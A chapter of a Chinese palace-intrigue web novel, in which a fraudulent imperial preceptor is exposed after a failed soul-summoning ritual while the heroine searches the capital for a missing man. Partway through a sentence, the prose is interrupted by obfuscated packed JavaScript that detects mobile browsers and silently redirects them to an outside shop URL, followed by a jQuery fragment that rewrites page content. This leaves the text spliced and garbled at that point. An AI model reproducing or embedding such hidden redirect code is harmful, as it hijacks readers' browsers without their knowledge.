50. 第 50 章
作品:《不要捡男人》 赵小果以前在大梨树村生活时,有每日占卜吉凶的习惯,若是吉她就出门,若是凶,肯定要在家里窝着不出去的。
她要找徐褚仁这件事是凶,或许就不该再有算他方位的下一卦。
可赵小果咬着唇,到底将铜板掷了出去。
算好一个方位,赵小果深吸一口气,奔着那个方向寻去了。
她刚走出几步,便听见天空之上有炸裂之声,天色渐晚,不知是谁家放了焰火,在黑布似的天上绽放出一朵朵艳丽颜色的花儿。
全京城的百姓都在看着,京城最中央皇宫里,宫女太监们抬起头,也瞧见那些绽放的焰火了。
承恩殿前空旷的地上设有做法事需要用的祭桌,就连桌子都是紫檀木,上头铺着皇家御用的布料,上头的金线若有若现。
国师鹤发鸡皮,穿着一身灰色衣袍,一手举着桃木剑,当真是仙风道骨。
皇帝昏迷,东宫代政,此刻围观的前排便是皇后和太子一行人,身后则是几位朝廷重臣还有后宫嫔妃,各个面色紧张,甚至有胆小的嫔妃微啜出声,被皇后回头瞪了一眼。
“你哭什么?陛下洪福齐天,定能安然无恙。”
哭的是近日最受宠的妃子,原本仗着宠爱嚣张跋扈,这会蔫了不敢作声,不过悄悄往贤妃的方向移动了半步,显然已经站队贤妃了。
后宫和朝堂一样,充满了利益算计,一个眼神一句话,便能揣摩出无数心思。
太子不是皇后亲子,他是被抱养到其膝下,这些年相处融洽,瞧着和亲生母子一样。此刻,太子伸手摘下自己的披风,盖在皇后身上。
“秋日天冷,知道母后担忧父皇,但也要保重凤体。”
皇后慈爱的拍了拍太子的手,当真是母慈子孝。
“国师说过,今日做法之后,明日父皇必醒,还请母后宽心。”
皇后身边的老嬷嬷也低声说些好话,引得朝廷重臣们也纷纷说吉祥话,如此一来,那些后宫嫔妃们再不可装聋作哑,以贤妃为首的后宫嫔妃们纷纷祝言。
“陛下真龙之躯,定能逢凶化吉。”
“是啊,陛下正是年富力强的时候,相信不日就会醒来。”
……
如此一番吉祥话,所有人再看国师时,俱是信心满满。
国师也不负众望,开始招魂仪式。
他明明年岁已高,但动作行云流水,半点不见年迈。举着桃木剑,嘴里念念有词,片刻后,将一枚符咒放在剑尖,在空中挥舞两下,那符咒不引自燃,在黑夜里划过一道璀璨。
接下来的时间里,国师静坐不动。
皇后皱眉道:“结束了?”
“母后,您看国师脚下。”
只见国师打坐的蒲团上燃起幽幽之火,众人骇然,而国师岿然不动,那火未伤及他分毫。
国师座下有两小童,其中一个面如满月的小童笑着道:“陛下魂魄落于九幽,师父神魄离体,正在救陛下……”
小童子话还未说完,那边国师身上突然起火,众人骇然。有人颤颤巍巍地道:“着……着火了……”
皇后皱眉,太子也是一脸惊异,不过俱是沉默,因为国师被火包围竟然还一动不动。
另外一个小童主动解释:“这是神火,普通人沾不得,但我师父非常人,不仅不会伤害他,还有淬体之功效。当然了,这也是为了陛下,因为师父说,陛下的魂被困在九幽火山之上,若耽误恐怕有性命之忧。”
天上绽放的焰火一直未停歇,阵阵爆裂之声扰的人心烦,不过所有人的视线都落在国师身上,只见他双眼紧闭,面色从容,而那火焰当真未伤及他分毫,渐渐熄了下去。
国师的能耐众人是知晓的,要不然也不会深得帝心,但听闻是一回事,如此近距离的看到则是另外一回事。不少人因为惊叹而低低吸了口气,皇后握着帕子,极为紧张,小声问道:
“现在怎么样了?找到陛下的魂了吗?”
两个小童不约而同道:“还没有。”
“母后别急。”太子安抚。
这时候国师表情变幻,似极为痛苦,在场人心也跟着提起来,小童语气变得焦急:“九幽不好闯,师父肯定是遇见难事了。”
另外一个道:“师父肯定能度过此关。”
就在这时,一阵昂扬之声响荡夜空,有人道:“这是什么声?有点像号角。”
比号角声更清澈,宛若龙吟。
有人抬头看见了什么,目瞪口呆好半响说不出话,片刻后涨红着脸大喊:“龙,龙!”
皇后抬头,就见皇宫上方的夜空里,当真游荡着一条龙!身长丈许,龙须飘荡,两只龙眼如灯笼,仰起头,再次发出方才的声响。
“龙?这莫不是父皇的精魂?”
“对对,一定是你父皇!”皇后激动的当即行礼喊皇上,太子似乎迟疑,但很快也跟着行礼喊父皇,剩下的人齐刷刷跪了一地,喊陛下万岁万万岁。
那两个小童是最后跪下的,他们对视一眼,都在彼此眼中看出疑惑。
空中的龙吟一直在,全京城的百姓都听见了,众人猜测到底是什么,因为夜色里只有连绵不断的炮竹和焰火,唯有皇宫里的人才能窥得全貌。
只见那条龙缓缓朝着承恩殿游动,打坐的国师还没有睁眼的意思,皇后急着道:“难道不是国师召唤而来的吗?怎么回事?”
圆脸小童手脚并用趴在地上朝国师爬了过去,爬到一半时候,发现国师睁眼,不过皱眉看向那龙。
这幅模样,不消人说,便知道这龙与国师无关。皇后欲要吩咐什么时候,便见从天上掉下来什么东西,正好砸在国师身上,刹那间,火苗窜起半人高,而原本不动如山的国师猛的蹦起来,随后躺在地上打滚,试图熄火。
众人被眼前的景象吓懵了,俱是动弹不得。
“这……”皇后欲言又止,片刻后反应过来让人救火,太子大手一挥,“快,去救人!”
最先反应过来的是两小童,一个拿起地上的垫子,一个脱下自己的外裳,俩人跑过去使劲拍打国师,可那火不知道怎么回事,拍不灭不说,竟然将垫子和外裳都点燃了。
火势当即蔓延起来,祭桌燃烧,众人四下逃窜,不知道是谁将宫灯踢倒,灯油散了一地,火光冲天。
太子护着皇后,让侍卫们护送着离开,贤妃等人自然也不会留在那,免得徒生事端。
待皇后回到宫中,喝了一碗安神汤后,有宫人来报,说火势止住了,但国师大人被烧的半死不活。
皇后立刻想到了什么:“龙可还在天上?”
“回皇后娘娘,那条龙飞走了。”
“飞走了?飞哪去了?”皇后坐直身体,“传本宫命令,立刻去寻。”
“是。”
见证这件事的人不在少数,数位朝中大臣回家之后俱是心思各异。
第二日,这件事便开始发酵起来,百姓悠悠众口,市井坊间都在传真龙降世。
“龙,是陛下的象征,昨日景象皇后娘娘以及太子殿下,各位朝臣,全都看的一清二楚,是龙降下天罚!”
说话的乃是当朝太傅,地位可见一斑。但即使他站在朝臣最前方,前面还是有张椅子,甚至铺了软垫。
那是国师的椅子。
年初时候皇帝封了国师,凌驾所有官员之上,下半年便开始让国师上朝参政,甚至给赐了椅子。
太傅觑了一眼椅子,长长叹口气,继续说道:“国师说陛下魂魄离体所以才昏迷,看来是陛下不满国师,亦或者发现了什么端倪,所以才当众降罚,以示众听。”
大殿正上方的龙椅空悬,太子则是坐在一旁的小椅上,闻言他脸如菜色,半响后才道:“父皇心胸宽阔,广纳贤才,本意是匡扶江山社稷,佑我大显万千子民,但那妖人竟敢使手段,害得父皇昏迷!”
又有人跳出来说国师的罪行,最后一个站出来的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062874|184679||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是严大人。
“殿下,臣斗胆请殿下严查国师送给陛下服用丹药!”
“严大人的意思是,丹药有问题?”
“臣早有怀疑,曾上奏陛下,但不知奏折被拦了下来还是国师采用什么法子避开御医检查,总之,臣断定,那丹药必有问题,或许就是导致陛下昏厥的原因!”
严大人位居大理寺寺卿,从不结党营私。心细如发,行事果断。既他说有问题,很大可能确实不对。
太子当即下令去查国师府邸,然而让人意外的是,所有丹药不翼而飞,国师昏迷未醒,只得审问小童,两个小童刚开始说每月丹药只有两颗,已经进献给陛下了,严大人派人将小童押至大理寺,俩人吓破了胆子,这才招供,说国师之前吩咐过,如果有事,立刻将所有丹药焚烧。
等他们去找时候已经来不及,炉子里连药渣都没有了,只剩下一团灰烬。
如此一来,无法确定药丸是否有问题。
就在一筹莫展之际,有人献上药丸。但严大人知道那人是谁后,冷笑道:“雷家果然是墙头草。”
当即将药送去给太子,太子让人将药带走拿去验,严大人突然弯腰行礼道:“还望殿下履行承诺。”
太子淡笑:“这是自然。”
……
在偌大的京城里找人并不好找,而且对方还有意隐藏自己的情况下。
赵小果只得按照卦象盲目寻人,比大海捞针还难。
最难的是,她身上没钱了,吃饭倒是好说,大不了一天只吃一个馒头,但夜里住宿成了问题。
赵家出事已经两天了,赵小果就在外面睡了两宿。因为没钱,她只能找地方休息,原本找到一处放杂物的胡同,但半夜睡的正香时被吵醒,原来是有醉酒的人经过。
见对方是几个男人,她没敢出去,等他们走了后她才心有余悸的起身,跑着去附近还有光亮的街道,最后在一处酒楼前呆了大半宿,伙计撵人,她只能再去开张的朝食铺子,吃了个豆馅包子,勉强捱到天亮。
翻翻钱袋子,只有五个铜板了,另外还有一个圆圆的东西。要不,将小檀卖了?
这个念头转瞬即逝,赵小果继续寻找,还不忘记打探赵严声他们,心想如果赵府没事的话,她就可以回去取自己东西和钱财了。
可惜,赵府和其他相干府邸都还在被控制中。
赵小果饿的厉害,不敢花剩下的五个铜板,索性就去找做活的地方,可她一不会女红,二不会厨艺,一听她只会算命,掌柜直接翻脸,啐她一口。
“大骗子!”
赵小果委屈的不行,“我从不骗人,更没骗过你啊。”
那掌柜的没好气道:“你现在不骗人,谁知道以前和以后会不会骗人?那劳什子国师胆大妄为,连皇帝都敢骗,还害了不少人,今日才昭告天下平冤昭雪。
你也不瞧瞧现在什么境况,什么算命先生,什么方士术士,谁不夹着尾巴走,就你还敢亮明身份出来招摇撞骗!”
赵小果被说蒙了,瞧着掌柜义愤填膺,她连忙退让小跑着离开。
正好路边有告示,不少百姓围着讨论,赵小果没往里挤,问身旁之人上面写的什么。
认字的百姓不多,每次贴告示士兵都会读一遍,说的文绉绉老百姓也记不住,因此只能将大致意思告知。
“就是之前国师作假,害了不少朝廷官员,其中最惨的是定安侯一家,我不认识什么定安侯,但听人家说好像一直在边关驻守保家卫国,被国师进献谗言害了满门,如今国师被皇帝真龙之魂镇压,才吐露出这些,告示就是为了还他们一个清白。”
说完那人叹气,赵小果也唏嘘,她说:“可人都死了,洗清了冤屈又有何用呢?”
“谁知道呢?”
看了会热闹,赵小果就走了,她觉得那些宫廷侯爵的生活离她太远了,如她这种普通百姓只能先看眼前。目前对她最重要的事情,就是找到徐褚仁。

